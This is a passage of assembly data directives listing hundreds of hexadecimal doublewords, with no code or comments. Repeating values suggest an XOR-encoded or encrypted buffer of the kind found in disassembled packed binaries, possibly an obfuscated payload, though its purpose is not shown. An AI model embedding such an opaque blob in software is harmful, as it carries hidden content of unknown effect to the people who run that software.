		dd 0EBEB9406h, 4276DFF5h, 88321C8Fh, 8ADC7D66h,	0B222DD4Fh
		dd 7068901Dh, 88399269h, 22521566h, 9DFEB6D8h, 798E0E3Bh
		dd 40B79C07h, 24340E1Eh, 0CACC9E00h, 11321561h,	41C77Ch
		dd 127FBEF5h, 0D7534B39h, 0B6B90A0h, 87751372h,	443206EFh
		dd 0CDB27566h, 113BFC0Bh, 0F9441566h, 214A70Dh,	437E52ABh
		dd 8B95C70Eh, 8822FCB2h, 24A81566h, 9AD10315h, 0FF3B6E72h
		dd 4808F9FBh, 0F1CD79D0h, 24260423h, 11359D69h,	8521566h
		dd 1E624683h, 31B79807h, 0F834015Dh, 8832156Ah,	87215BDFh
		dd 27212DFCh, 66CC0C53h, 883F9169h, 4CDB1566h, 0A1321566h
		dd 0E056BAFBh, 77D7FCBDh, 0C1BBEDB6h, 24296DAAh, 112E9569h
		dd 60521566h, 44321574h, 53CA50A2h, 1643CF33h, 470642BDh
		dd 607D7500h, 426DF8DFh, 94F47407h, 8E260F3Fh, 4422FC21h
		dd 0D6201566h, 0C3E7DB64h, 31BF2612h, 0A4795E02h, 265A24ABh
		dd 0F888D45Fh, 88321560h, 0FD70050Ch, 27DBD085h, 9F321566h
		dd 840AC8D5h, 5577A099h, 44521372h, 0F861E5EDh,	8832156Bh
		dd 856C58F8h, 94C89944h, 9A5E5C0h, 5534BBCh, 500906E3h
		dd 30B21A60h, 0F8321566h, 8832156Bh, 45F4E050h,	8079A866h
		dd 0F52F2Bh, 80BA1A6Bh,	24321566h, 2DC5A269h, 0EE53CED1h
		dd 94BB1AB6h, 4B321566h, 223203E0h, 1123FC66h, 0E15E1566h
		dd 81B64B20h, 0B343490Ch, 0E40B4AC7h, 13A3839h,	5F4AC5E3h
		dd 2ABB1A60h, 1E321566h, 883217ECh, 0C7537566h,	36121CDBh
		dd 943D1560h, 88321506h, 1DB7D39Ah, 6534017Ch, 11389469h
		dd 8DDB1566h, 2A321566h, 95459CF6h, 3C557D93h, 77C7F514h
		dd 502350D3h, 0A7BFE060h, 17262E75h, 87E2EA9Fh,	443219E8h
		dd 2235FC66h, 0F7501566h, 3952AA5h, 4421FCF2h, 0D7531566h
		dd 7196D2F1h, 3B21EBFBh, 17C846D6h, 6F6D4002h, 0C5B79C73h
		dd 71340E1Eh, 5E6B90A0h, 0DE751372h, 3881A40Eh,	3DCDEDE8h
		dd 42260423h, 22339F69h, 9CCA1566h, 9C0906E3h, 50B91A60h
		dd 0CB321566h, 11321569h, 8CBC3E12h, 5E51B3DDh,	8B8978CFh
		dd 0EEECB38Ah, 8838FCB6h, 3561566h, 3B54735Bh, 2671102Fh
		dd 8832188Fh, 479BDD66h, 0AFEE6984h, 5FF2773Ah,	0DBB8152h
		dd 42296DBEh, 22339669h, 0D7C71566h, 9C284CE3h,	24525660h
		dd 43C4AA69h, 41E1AC00h, 0C2957D07h, 4BDBD510h,	0E0321566h
		dd 75BC5E1Fh, 0EAE693C0h, 0DDC116AEh, 97CD2628h, 17260423h
		dd 9BB7989Eh, 0BC34015Dh, 22339A69h, 0EECE1566h, 0DBBE0B6h
		dd 42296DBAh, 2220FC06h, 9441566h, 60D75B15h, 2E93570Eh
		dd 0C18B5776h, 9BB70AA3h, 88349969h, 0CE3D1566h, 22321566h
		dd 48B7D307h, 0C434017Ch, 44321A8Fh, 0C0D0B466h, 907EF43h
		dd 0FA3A308Eh, 0C3740588h, 445EFE0Eh, 2DB759Dh,	0FF321566h
		dd 2FFACFD4h, 11A69B5Dh, 10DA814Bh, 63A1DDB4h, 0FB3DD70Ch
		dd 97CD7495h, 17261C57h, 9EB9E06h, 4D586997h, 0A7BF740Eh
		dd 17262E75h, 882D9069h, 0C43D1566h, 2232157Fh,	1132018Fh
		dd 7F872C66h, 558F2306h, 1266732Dh, 36061AFEh, 4D47931Fh
		dd 0B1E2EA97h, 5B4290EFh, 7052137Dh, 926B90A0h,	24761372h
		dd 2220FC93h, 98EB1566h, 55F42C58h, 12394D8Bh, 72C39E94h
		dd 184391ACh, 9CB61A07h, 0AD321566h, 22321569h,	0A33602C5h
		dd 0FBDDE6DFh, 4756E411h, 4AD20709h, 0AA419B33h, 748B7506h
		dd 2541814Bh, 0DA53C5ECh, 77A099h, 0EE521372h, 15BCFDE7h
		dd 1853AB00h, 94BFE907h, 8E262E75h, 44359B69h, 0A83D1566h
		dd 11321567h, 61E2EA9Fh, 44321575h, 0AE664705h,	0B2D53D22h
		dd 8AD73DA4h, 4A615173h, 2D40E8C8h, 113205EDh, 8839FC66h
		dd 0B40D1566h, 83BB4770h, 499F3001h, 68B79CADh,	0AD340E1Eh
		dd 22321576h, 92300639h
		dd 0B3BF40C4h, 0FBC78C3Eh, 2F8CA151h, 0B6B90A0h, 0E8711372h
		dd 5FC4AD00h, 22321D8Fh, 27096666h, 48D96490h, 0B85A7457h
		dd 0CB8E9B08h, 1132156Ch, 38889372h, 0C3627156h, 97CD6BD8h
		dd 17260423h, 8832018Fh, 0A2A81C66h, 5249682Dh,	5A59AD86h
		dd 3D19C4A6h, 30ACE4D7h, 31B798B9h, 0E434015Dh,	1CBC599h
		dd 5F4AF1E3h, 31DB7560h, 0F7321566h, 68250A21h,	9EE793BFh
		dd 31ECE497h, 0DAEA91F5h, 6585B8EAh, 1DB7D307h,	7134017Ch
		dd 11321F8Fh, 0B1EC4266h, 27D214C0h, 0D7B3958Ah, 10CBF0Eh
		dd 13D75A0h, 44321562h,	3E97AD00h, 0EE534AD4h, 9C2350D3h
		dd 22C77560h, 4372E8DEh, 2A2190EBh, 61521372h, 44321561h
		dd 219F4BA7h, 0E889E2A0h, 70E2EA07h, 3CDA90EFh,	0CBCA137Dh
		dd 11321577h, 0A42869C6h, 5F2D8E51h, 18458317h,	0FE116DBFh
		dd 0C18F9605h, 4434016Fh, 21C39169h, 0D7CE1566h, 9C284CE3h
		dd 0C33D5360h, 22321560h, 716B4706h, 0E0CE7407h, 0BEA4DB57h
		dd 6787EA9Fh, 0F8340177h, 88321563h, 75CA90E3h,	31B7982Bh
		dd 7134015Dh, 74E2EA07h, 3D7690EFh, 0AE3D137Dh,	1132156Eh
		dd 88309E69h, 25521566h, 386B90A0h, 71741372h, 88309E69h
		dd 25521566h, 43F5AA69h, 76FC9406h, 0E95626E6h,	0E308C30Eh
		dd 97CDE99Ah, 17260423h, 9BB7989Eh, 2434015Dh, 2CE39400h
		dd 15BA1A99h, 0EE321566h, 25361DDCh, 0A13DC599h, 11321573h
		dd 8832058Fh, 511B3066h, 9335623Fh, 0F00E9BD5h,	96A6FE63h
		dd 4AB91A75h, 0CB321566h, 1132156Fh, 0DA0863A9h, 9753F183h
		dd 76B79C0Ch, 71340E1Fh, 438D1A93h, 1DB7D307h, 6434017Ch
		dd 11299A69h, 3D1566h, 44321573h, 2232058Fh, 0E1163D66h
		dd 0D36E6163h, 9EA5B703h, 47D439DDh, 0B5327D69h, 352879Ah
		dd 25CC9EAEh, 3377A099h, 903D1372h, 8832156Ah, 44B41A06h
		dd 44321566h, 7013BBDEh, 0B32190EBh, 0BBC71372h, 27DB75B6h
		dd 0FA321566h, 0F6E0F247h, 175AF00h, 7AB79C07h,	71340E1Fh
		dd 0CDD39400h, 255243E0h, 0A7F4743Fh, 17260F3Fh, 91BB1A20h
		dd 0AD321566h, 22321572h, 8913578Eh, 8DCDFE00h,	3476811Fh
		dd 31D10AD5h, 9687DC60h, 88229669h, 4FDB1566h, 0FD321566h
		dd 0B7836574h, 1268A8EFh, 2E5AC4AFh, 0CBC4C129h, 11321568h
		dd 30A77C2h, 900CBF21h,	0FD78BE3Ch, 0A4CD7380h,	8E260423h
		dd 44339469h, 0AFC71566h, 50906E3h, 90B41A60h, 4B321566h
		dd 223207EEh, 113FFC66h, 6B251566h, 407D55EDh, 2C9BC8CCh
		dd 0EE5FACC2h, 99B11AB6h, 0AD321566h, 2232156Ah, 5A53B92Dh
		dd 37F98CF0h, 7DD198EBh, 5B6E90EFh, 943D137Dh, 8832157Eh
		dd 4432068Fh, 0A50FBB66h, 0BCDC0C23h, 9FDE3D75h, 0F01B7741h
		dd 9B60B39Eh, 1132078Fh, 0D2C32066h, 71139C0h, 69712CD3h
		dd 6BDA129Eh, 4E9F714Dh, 50284CE3h, 33DB5360h, 39321566h
		dd 0F42AD99h, 0A6BF27F8h, 344F4970h, 2E090F63h,	4562F20Eh
		dd 4426FCF2h, 0BEEA1566h, 18F3F200h, 4C758082h,	0D42E3651h
		dd 0E49A7E71h, 0A4CD36F8h, 8E260423h, 443B9B69h, 74521566h
		dd 0E0B3733Ch, 6153B852h, 44321569h, 0A8510395h, 0CCF79C78h
		dd 0EF1AD10Ch, 0C9485614h, 360906E3h, 1DA7560h,	0DD321566h
		dd 0CC7D01BAh, 0C948BD49h, 0A5B99235h, 877805C4h, 256AC2D1h
		dd 0A952C599h, 5DB46A5h, 1321566h, 3C852962h, 53EC8A07h
		dd 0AA275625h, 851C8AD7h, 1D108AB3h, 0A7BBED07h, 17296C2Eh
		dd 7D53ED06h, 5E6B90A0h, 42741372h, 112A9D69h, 9BDB1566h
		dd 71321566h, 1BFD38A2h, 0A64D31E3h, 0DC622EA3h, 9C8C4CECh
		dd 0A43DF213h, 11321563h, 0E0FC9400h, 7F5A7458h, 2D833712h
		dd 113219EBh, 8835FC66h, 0DCA91566h, 0C78DA6F6h, 5487EAE9h
		dd 0E8340177h, 0C6DB46DCh, 0A7BF743Eh, 17262E75h, 88359869h
		dd 0C93D1566h, 22321567h, 71E2EA9Fh, 0EBE19400h, 443DFD37h
		dd 0C8231566h, 9E69159h, 0BC646017h, 3FA50C9Ah,	22BD1AC4h
		dd 4B321566h, 8FDB7507h, 47321566h, 0A0194D6Bh,	98539E1Fh
		dd 934B59E3h, 4439FC60h, 0A24C1566h, 95B05905h,	0FEB54D8Fh
		dd 0C1F4ED24h, 24260F3Fh, 1122FC20h, 0EFF71566h, 198679EFh
		dd 4177C414h, 6790BFA5h, 655A0F11h, 0ADED6C8Ch,	22321577h
		dd 1370AE16h, 70FA947Ah, 4C317AFCh, 1B88EC96h, 5487EA1Ch
		dd 7D340177h, 7F2190EBh, 0DDCE1372h, 1121FCB6h,	8F571566h
		dd 3AC4D869h, 0E434D386h, 7019183Ah, 8D434EEh, 14B79C5Dh
		dd 2D340E1Fh, 11321BECh, 883BFC66h, 38B11566h, 73E28009h
		dd 92DE240Fh, 9C121CDBh, 0C13D1560h, 22321538h,	48B7D393h
		dd 0DB34017Ch, 0F3CB7506h, 4A53748Ah, 0DF8CF538h, 82B91A9Fh
		dd 24321566h, 0F2C39400h, 0DAF69505h, 0CD87EA07h, 0B8340177h
		dd 192190EBh, 0DB1372h,	0D2321566h, 74F43725h, 2F9595Ch
		dd 0CB00D875h, 3F2E4D2Eh, 0CDCEC599h, 394AF9E3h, 113AFC60h
		dd 93B51566h, 68B1E17Fh, 0A7F42108h, 17260F3Fh,	9CB71A21h
		dd 24321566h, 22321D8Fh, 0D3E92166h, 0BD817356h, 171EAB01h
		dd 0CB536FBBh, 1132156Dh, 0AA1C4F8Fh, 2410D865h, 4A876DCDh
		dd 0D6834BE1h, 8832068Fh, 1F911B66h, 97BCDFB4h,	0DCD760C0h
		dd 86580A02h, 7E577641h, 3377A099h, 1EDB1372h, 9D321566h
		dd 7E699ECAh, 5FFB4B23h, 0CD99E187h, 0D8524A74h, 1C9CE1E6h
		dd 7B537537h, 2B79807h,	8734015Dh, 443214E2h, 0A03DEC66h
		dd 1132156Ch, 87C19F06h, 443215E7h, 0F2CD7466h,	113F9B69h
		dd 9521566h, 23C29FACh,	48EFAD0Ah, 985364EFh, 934AE5E3h
		dd 0F9B1EC60h, 2426356Fh, 9FB71A66h, 61321566h,	44321577h
		dd 0D14607FDh, 5C5D91DEh, 4CFE4E43h, 1D80717Ch,	7BB7D370h
		dd 5634017Ch, 8832068Fh, 6678C166h, 7278A761h, 2271B4ABh
		dd 9A70BEF4h, 0AEC07D3h, 404C100Eh, 19B81A80h, 0E8321566h
		dd 0FE54D4EDh, 0DD53A4CDh, 52350D3h, 8834FC60h,	3B01566h
		dd 14F3FF5Dh, 2A2190EBh, 77CB1372h, 45B31AB6h, 0DA321566h
		dd 69C690EFh, 6152137Dh, 44321569h, 173D6A0Ah, 15FF10FDh
		dd 624A0FD6h, 4B90F606h, 223217E7h, 70537566h, 0D1B7D39Eh
		dd 734017Ch, 2232128Fh,	0C9280566h, 95360D77h, 3E3BE30Eh
		dd 0D752E9F4h, 70F8A269h, 9977A099h, 0C9CA1372h, 360906E3h
		dd 1123FC60h, 6D461566h, 6914BEB0h, 4AA6B84Fh, 0EE261928h
		dd 77FB8C92h, 0C83DE9B6h, 2232156Eh, 11309F69h,	0E9521566h
		dd 3CCA90EFh, 9652137Dh, 94F4744Ah, 8E260F3Fh, 0C73D7525h
		dd 22321565h, 9AF0AA69h, 0A85A74A9h, 24CE34F1h,	5B62F8DEh
		dd 1139FC41h, 356E1566h, 216B9669h, 2664D0EEh, 0A4CD7425h
		dd 8E260423h, 54B51A93h, 0CB321566h, 1132156Dh,	642467A6h
		dd 79943803h, 0AFCEDCA9h, 50906E3h, 0D6637560h,	44349D69h
		dd 0A23D1566h, 11321566h, 87E2EA07h, 44321BE2h,	27DB7566h
		dd 0ED321566h, 4B8F5DB3h, 4B53EEEDh, 22321CEDh,	4B627566h
		dd 0BCD3D5DEh, 0C1BB745Eh, 24296D9Ah, 1126FD06h, 0C111566h
		dd 3FB1C48Eh, 0F9B939A8h, 7CE1878Dh, 0F974076Bh, 0B3B37CBDh
		dd 5202CA71h, 1134FD3Eh, 588C1566h, 0AF8790E6h,	7A4FDFE6h
		dd 188F9607h, 88340146h, 45249069h, 0A33D1566h,	11321570h
		dd 61C09E06h, 4432156Bh, 9AF32FEh, 966769B7h, 643BCC0Bh
		dd 0C1F47460h, 24260F3Fh, 993D7525h, 88321563h,	27F39400h
		dd 0AE3D75D9h, 11321566h
		dd 8832078Fh, 62533466h, 7B7B30EDh, 0B4132C15h,	0C458804Fh
		dd 2538C7FDh, 8A317D07h, 0E9529E66h, 88B41A31h,	1D321566h
		dd 0E9B37507h, 24E387C7h, 9ED59400h, 0F1CD742Bh, 24260423h
		dd 11321E8Fh, 23619A66h, 9D9454EBh, 3731B3Ah, 11339B69h
		dd 5C71566h, 500906E3h,	0F2CDE060h, 11209D69h, 85DB1566h
		dd 0C6321566h, 4424890Eh, 0B51C912Fh, 4F3F553Fh, 3D3690EFh
		dd 0A23D137Dh, 11321568h, 88321C8Fh, 0A22D8566h, 0A6D72740h
		dd 94F4F3DCh, 8E260F3Fh, 4FB31A25h, 42321566h, 0C4D71AD9h
		dd 46897301h, 915A74E8h, 0DAD74E50h, 77A099h, 9ADB1372h
		dd 0FC321566h, 56DBA78h, 0E52EB2DCh, 0A7F6EAC2h, 5D6743D2h
		dd 31B798B8h, 1E34015Dh, 883214EEh, 94CDE966h, 22B79C9Ah
		dd 0E9340E1Fh, 926B90A0h, 24711372h, 2232108Fh,	0EE814566h
		dd 0EE52F77Bh, 4B4645D9h, 4353E2D9h, 0BB00F40Eh, 8752E98Ch
		dd 25CAC4D1h, 3377A099h, 0A8521372h, 9CC5F45Eh,	25FA9E00h
		dd 192190EBh, 91521372h, 7753CD92h, 6C8975B6h, 0A95FF648h
		dd 98CE749Fh, 934B1DE3h, 8FB97560h, 4369EC31h, 0B6B90A0h
		dd 87711372h, 443214EAh, 155AEC66h, 71B6E4CAh, 88379F69h
		dd 4D8D1566h, 0A3496855h, 0DABAC4A1h, 3DCD7453h, 42260423h
		dd 2232128Fh, 9DDE766h,	0C5444DE4h, 7F2190EBh, 0DDCE1372h
		dd 913D75B6h, 88321566h, 443F9B69h, 25DA1566h, 97321566h
		dd 57096F3Eh, 2569C8C7h, 2EB79C9Fh, 1E340E1Fh, 883214E4h
		dd 0C1F4E966h, 24260F3Fh, 1139FC29h, 0C2E71566h, 0B8903DBFh
		dd 79C91529h, 81E67DACh, 3E528253h, 443DFC5Ah, 0D1631566h
		dd 0D5BCFEE1h, 8CE441EAh, 3AFE80A5h, 97CD7498h,	17260423h
		dd 8832188Fh, 0BAE07266h, 0B4BB741Ch, 0F3F9D399h, 0DBFC792h
		dd 42262E75h, 2238FC06h, 76E71566h, 0F21FA43Fh,	689BEED8h
		dd 2DE2EA07h, 113214E2h, 0DBBED66h, 42296C76h, 22339569h
		dd 0D7CE1566h, 9C284CE3h, 4B525A60h, 0CB60CBD1h, 1132156Fh
		dd 7CB95274h, 83490FA3h, 4A534C6Eh, 0E85C1B64h,	883F9369h
		dd 4CDB1566h, 0F9321566h, 0A1340DD5h, 87B2C1CAh, 443201E4h
		dd 223DFC66h, 15301566h, 81DAD9D9h, 169D0E0Bh, 0D971BC6Eh
		dd 5487EADAh, 0E8340177h, 44321F8Fh, 0B73A1B66h, 3B099225h
		dd 0EE11877Dh, 89F7C3E7h, 31B79807h, 0F834015Dh, 88321576h
		dd 4C0B8D3Ch, 17EB5430h, 87D3DA23h, 0FCB86481h,	0C83DC599h
		dd 22321576h, 11321E8Fh, 5E47E466h, 0F036549Dh,	5DDEE5B3h
		dd 1132048Fh, 0F762C66h, 0B04CB744h, 6D7FDC68h,	4179CE4Dh
		dd 0DBBD2E2h, 42296C72h, 0CAB34406h, 3C03F0D1h,	883EFC39h
		dd 0B3391566h, 186B9B80h, 0A5307FCDh, 4E53EFFDh, 50284CE3h
		dd 24DB5860h, 0B2321566h, 0C6FAB62h, 0D5AED14h,	42FA221Fh
		dd 11321C8Fh, 4727BA66h, 9C745ED7h, 0A954308Bh,	0A4CD749Ch
		dd 8E260423h, 57B79893h, 0DA34015Dh, 14DBC599h,	63321566h
		dd 0F86DEB57h, 5B2E90EFh, 1EC7137Dh, 883206E0h,	443CFC66h
		dd 5F0D1566h, 0D27FFA1h, 870F7364h, 84A57D65h, 386B90A0h
		dd 717F1372h, 883D9B69h, 4EDB1566h, 6E321566h, 6C20CFFAh
		dd 34AC3CDAh, 25F59EA6h, 0D57F9C0Eh, 0A4CDECBAh, 8E260423h
		dd 57B7989Eh, 0CB34015Dh, 1132156Dh, 2300F146h,	4BFA4B44h
		dd 0DDDD1682h, 9A3DE9B6h, 8832156Ah, 0A3B37306h, 0A354AA75h
		dd 701D3390h, 0F12A90EFh, 4FDB137Dh, 0D321566h,	0E7C9B860h
		dd 30536E0Ah, 0C1F42B14h, 24260F3Fh, 265AED33h,	87AE0E4Bh
		dd 44321FEDh, 0A63D7566h, 11321566h, 7753BDD2h,	502350D3h
		dd 2220FC60h, 0F9A61566h, 1BFAC767h, 2DF07F8Dh,	0D3EEB52Ah
		dd 0C3A325A5h, 0B32190EBh, 0C83D1372h, 22321567h, 0E8E2EA9Eh
		dd 0F11290EFh, 4B52137Dh, 223214E7h, 0D5B2ED66h, 0DF47424h
		dd 42260F3Fh, 85AEC25h,	71E0C096h, 88BC1A34h, 1F321566h
		dd 5ED29400h, 9A3D7423h, 88321561h, 44339C69h, 0DDCE1566h
		dd 52350D3h, 8826FC60h,	0C4201566h, 35FE49D1h, 0C9FF0461h
		dd 0AF0C5AFCh, 8416ADF5h, 0A7BFB496h, 17262E75h, 88321A8Fh
		dd 16041A66h, 0F44EE90Fh, 5EF2FC5Ah, 554671E2h,	0CB3DC599h
		dd 22321567h, 35B79C9Eh, 61340E1Fh, 4432156Ch, 0E0A457A1h
		dd 0EC40E4BBh, 0DF44E08h, 42260F3Fh, 2222FC34h,	0B44A1566h
		dd 1D7B9C2Ch, 130B746Ch, 56889794h, 943D17BDh, 88321571h
		dd 4432078Fh, 77422366h, 0F66ADC35h, 807F6DF5h,	4C87858Ch
		dd 4A60E104h, 0EC70A18Ch, 0CD87EA9Ah, 24340177h, 0D8EBAB00h
		dd 1E53D4EDh, 883201ECh, 4ABF1A66h, 0CB321566h,	1132156Fh
		dd 0E3436382h, 897433D4h, 31B79821h, 1E34015Dh,	883219E4h
		dd 42B41A66h, 2D321566h, 113215EFh, 61E2EA66h, 4432156Bh
		dd 6EFA40E9h, 5812F417h, 7CA36FE8h, 91B79CFDh, 2D340145h
		dd 11321DE1h, 33D7566h,	44321566h, 7BB7D307h, 5634017Ch
		dd 948AAA06h, 0C93D50E6h, 22321560h, 624D4E7h, 0E053263Bh
		dd 0A6AA4CFFh, 6787EA93h, 1E340177h, 883214EDh,	0C1BFE066h
		dd 24262E75h, 90F59E06h, 8A741989h, 94CD7479h, 0AB79C9Fh
		dd 0E9340E1Fh, 926B90A0h, 0AD751372h, 22321561h, 4EA43CE2h
		dd 7D1A2F62h, 0B952D70Eh, 223FFCD7h, 907E1566h,	833CD3FEh
		dd 43E0939Ah, 0DD8A5C04h, 52350D3h, 8822FC60h, 34F01566h
		dd 8F75C1E7h, 37749414h, 7857C474h, 0C1BFB4BAh,	24262E75h
		dd 1132068Fh, 0CFDBA866h, 0A030AF8Eh, 151BE272h, 0D05C9688h
		dd 52CA9DB4h, 56DBC599h, 0C1321566h, 0FD02DDAFh, 0DBAAB1D9h
		dd 83785664h, 0CED8D907h, 3DB79CBFh, 74340E1Fh,	44321C8Fh
		dd 43F77066h, 0D9DD3784h, 0DF44E00h, 42260F3Fh,	365AE021h
		dd 0E8EDB398h, 9977A099h, 41DB1372h, 79321566h,	4080D9CFh
		dd 0B32190EBh, 0CC3D1372h, 22321567h, 0F8E2EA93h, 8832156Ch
		dd 0A97D0A49h, 55CA8EE4h, 94BBABBAh, 8E296C56h,	4432198Fh
		dd 0CF5B5066h, 10E0A54Ah, 46D1F9F2h, 1DB7D3A2h,	7D34017Ch
		dd 11359469h, 23D1566h,	44321567h, 4A5AED93h, 0F8AC4594h
		dd 88321575h, 82D580E2h, 51F1EF05h, 5EFB25EDh, 1CC23811h
		dd 0BBCA792Bh, 362350D3h, 1123FC60h, 14CD1566h,	9C820779h
		dd 90291FC1h, 2A938090h, 5CCDADAh, 500906E3h, 223DFC60h
		dd 0D3341566h, 0F1EC028Bh, 0EC5EC859h, 54295BD7h, 1EE2EAD8h
		dd 883214E5h, 4EDBEC66h, 36321566h, 0DD4E030h, 3683ED63h
		dd 70B79C86h, 0CB340E1Fh, 11321561h, 4CCB97CDh,	0ADDE2E97h
		dd 22321563h, 7BB9C80Ah, 0D1B7D304h, 0B34017Ch,	590D7D93h
		dd 9C3DD29Ah, 88321567h, 187EA9Ah, 2D340177h, 113214EFh
		dd 0DBFEC66h, 42262E75h, 0EFE09406h, 7119A144h,	88329D69h
		dd 42DA1566h, 68321566h, 24A596ABh, 0E9534C55h,	55DBC599h
		dd 98321566h, 917A8798h, 8E6E44ABh, 8515D96Ah, 1187482Fh
		dd 71B79C93h, 61340E1Fh, 44321575h, 0C1975675h,	422436F7h
		dd 442ECA66h, 0EEACBA31h, 0E4EBE819h, 5284CE3h,	82DB5260h
		dd 9F321566h, 55B0E4EBh, 59BB7EE0h, 0E67E7D47h,	0AD52EF3Dh
		dd 22321561h, 0C5D1C78Ch, 0E962DD8Fh, 5577A099h, 32DB1372h
		dd 0CA321566h, 0C184324Dh, 21DA4DD2h, 0A5781677h, 9C1BBF7Eh
		dd 9C0906E3h, 94CDE960h, 22359669h, 953D1566h, 88321567h
		dd 20B79C9Eh, 42340E1Fh, 11321F8Fh, 0DB6F9266h,	0AF7B92D7h
		dd 2D7359DEh, 0D753CED1h
		dd 9C284CE3h, 0C23D5260h, 22321576h, 1134FD06h,	92C41566h
		dd 50FB0268h, 43F39F3Ch, 1716D80Eh, 89B71AA5h, 0BD321566h
		dd 44CB9E06h, 0FE4DCBE7h, 0CD87EA07h, 0BD340177h, 31B7989Ah
		dd 0F834015Dh, 88321574h, 49AD33DBh, 82C8FB5Ah,	0F1821FDCh
		dd 186DD79Eh, 0BBCB0636h, 223EFCB6h, 8CC11566h,	0BCFA3879h
		dd 1FA498D8h, 0A7BBEF21h, 17296C0Eh, 88389F69h,	22521566h
		dd 3006E5E7h, 709ACDE6h, 926B90A0h, 0BC6D1372h,	9952D90Eh
		dd 0A4CDE9B2h, 8E260423h, 57B7989Eh, 2D34015Dh,	11321DE1h
		dd 8AB41A66h, 24321566h, 2DE2EA07h, 113205E5h, 8839FC66h
		dd 61FB1566h, 39827EB9h, 409633E6h, 0B0B79CB3h,	0BC340E1Fh
		dd 386B90A0h, 0E46D1372h, 61665B0Eh, 443EFCF8h,	6D061566h
		dd 0FEB20FCEh, 0BED07860h, 0F1CD9769h, 24260423h, 0FFB24206h
		dd 9CDB4CC1h, 0BE321566h, 7A442831h, 1FC970ECh,	8AA12400h
		dd 7DDCF865h, 43BD7AF0h, 2A2190EBh, 0F3D1372h, 44321567h
		dd 0CBE2EA9Ah, 11321560h, 0ADE83452h, 0C1BBC2C4h, 24296C5Ah
		dd 1132198Fh, 9BA9AE66h, 8D7373F8h, 9D86D3C8h, 48B7D3DAh
		dd 0D734017Ch, 46BB1A06h, 0A9321566h, 16D994BCh, 0E9252603h
		dd 571A5D0Eh, 33BD1AB7h, 0F8321566h, 8832156Ah,	918DF64Dh
		dd 25933C2Fh, 0B0CD726Dh, 9977A099h, 43DB1372h,	3C321566h
		dd 0D68FF1D7h, 73DABCCh, 44321567h, 31B7989Fh, 0ED34015Dh
		dd 7D52C599h, 0A888C4E7h, 0AB531AEFh, 0A4B55E3h, 8FBB1A60h
		dd 4B321566h, 223214E8h, 1558E066h, 98327D9Ah, 0ADC71566h
		dd 22321568h, 0FB8C4ED9h, 87F8E890h, 0F00FC8B0h, 225ADC4Ah
		dd 71321576h, 23DE7EDh,	44321564h, 48537406h, 0F9C77566h
		dd 8832156Fh, 712C4B26h, 1A69E482h, 0EE534C8Ch,	9C16BCF3h
		dd 0C63D7560h, 22321563h, 6DC59400h, 8838FD0Ah,	0DC491566h
		dd 1CE0B216h, 0BF0A1A2Ah, 564BAC00h, 0C1BB7438h, 2426191Fh
		dd 11339D69h, 5C71566h,	5F180CE3h, 0AC3D7560h, 1132156Ch
		dd 8832108Fh, 42729966h, 0A354DC4Eh, 70F4E9B9h,	83DC599h
		dd 4432156Ch, 0CBB37306h, 9A54A349h, 8C5874A0h,	54327D93h
		dd 4ACA1566h, 11323566h, 8DB01A06h, 22321566h, 0A078C5E7h
		dd 0F8327F07h, 88321575h, 0A5C529A2h, 3CD01088h, 9845F7h
		dd 5C824BFCh, 0BB2AA382h, 3616BCF3h, 19DBEC60h,	0FE321566h
		dd 0B373D9A0h, 0AB56832Ah, 52AA0E3h, 8FBA1A60h,	24321566h
		dd 0F17444DEh, 94BB744Ch, 8E2615EBh, 442F9569h,	0A03D1566h
		dd 11321571h, 8832078Fh, 0D0E57866h, 0DC4EF18Ch, 52881E9Ah
		dd 10F42F24h, 2E9AE9B3h, 2239FC26h, 5A151566h, 0D304034Ah
		dd 0EB1242C1h, 2EB91A27h, 1E321566h, 883213EDh,	44B31A66h
		dd 4A321566h, 11320566h, 88229269h, 0CC3D1566h,	2232156Ch
		dd 1132108Fh, 0C10EA366h, 445A8464h, 42321466h,	11379369h
		dd 69881566h, 1645AC0Fh, 0CC34AA00h, 1158743Eh,	21A7EA9Fh
		dd 0BD340142h, 0F6F90EFh, 0F8CA1372h, 88321575h, 9566588Ah
		dd 8358FDB1h, 30396C64h, 9B146CE1h, 0CF892B1Dh,	3621F0D3h
		dd 16BA1A60h, 0E8321566h, 0FB3DEFECh, 0BFB974ADh, 1726108Fh
		dd 54EC9406h, 16583220h, 6519FCE7h, 70695150h, 0BC53A0EFh
		dd 56DB1372h, 41321566h, 0C94ACD2Dh, 621371B9h,	7E27D589h
		dd 0D454D819h, 1137FC47h, 4EF41566h, 0CDFCF07Ah, 361674FBh
		dd 8CB9EC60h, 8E26108Fh, 0CF547506h, 28DB74B0h,	0E6321566h
		dd 0D18D22D6h, 5517F63Fh, 11CD7425h, 921619EDh,	85DB11A2h
		dd 75321566h, 339550FBh, 38D8A60Bh, 211127AAh, 4B32ECE5h
		dd 220B59E2h, 1134FC66h, 6A81566h, 8AA009A3h, 0A3D39C37h
		dd 113211A7h, 8CDB9466h, 0C3321566h, 0AB6E316Ah, 43CA3162h
		dd 4AB3F7EFh, 44321562h, 2236FFE7h, 5B51566h, 84BB4942h
		dd 45BC1A42h, 0DB321566h, 0D103ED06h, 0A4B8AA06h, 7C884177h
		dd 4342F0BAh, 13C790EFh, 0D3D1372h, 4432156Eh, 22309169h
		dd 70521566h, 880EAD36h, 82BB1566h, 0A11611EDh,	775211A2h
		dd 4BB3E7EDh, 7EA770A9h, 6E8B4407h, 907D9F36h, 624C958Fh
		dd 96C39431h, 0BDDCF8Ah, 65314CA8h, 4EB33542h, 5C772878h
		dd 22389769h, 77521566h, 954D2EDh, 253CDBA7h, 9C52B800h
		dd 5970C5ABh, 2DC2FBE7h, 695349C0h, 7FA579FDh, 0AE4D354Bh
		dd 0AC76161Ch, 3B121046h, 0B9376FD9h, 716F820Ah, 88319169h
		dd 0CF541566h, 21B31AA0h, 1E321566h, 7753EFD9h,	68B36D16h
		dd 1A077642h, 0AA614B77h, 0E5725024h, 0C5E1E225h, 0C76A9DA5h
		dd 17D1D46Dh, 930FEA7h,	5CCCC88Dh, 79EC147Fh, 17DBEC06h
		dd 76321566h, 0D664FEE9h, 0CCB37436h, 42201FCEh, 0A8166165h
		dd 0F87AA31h, 0D5B33A8Ah, 1CE3572Fh, 9E5E229h, 540B9589h
		dd 61D59475h, 90034A12h, 880CBD91h, 1BCC1435h, 2232078Fh
		dd 4BE05E66h, 72BFCF5Fh, 21F8A6ABh, 0F579A55Dh,	0EEDE1794h
		dd 0B4B90D10h, 40F69642h, 223E9769h, 9D3D1566h,	88321560h
		dd 44329A69h, 9FBB1566h, 1726375Fh, 6150A706h, 44321577h
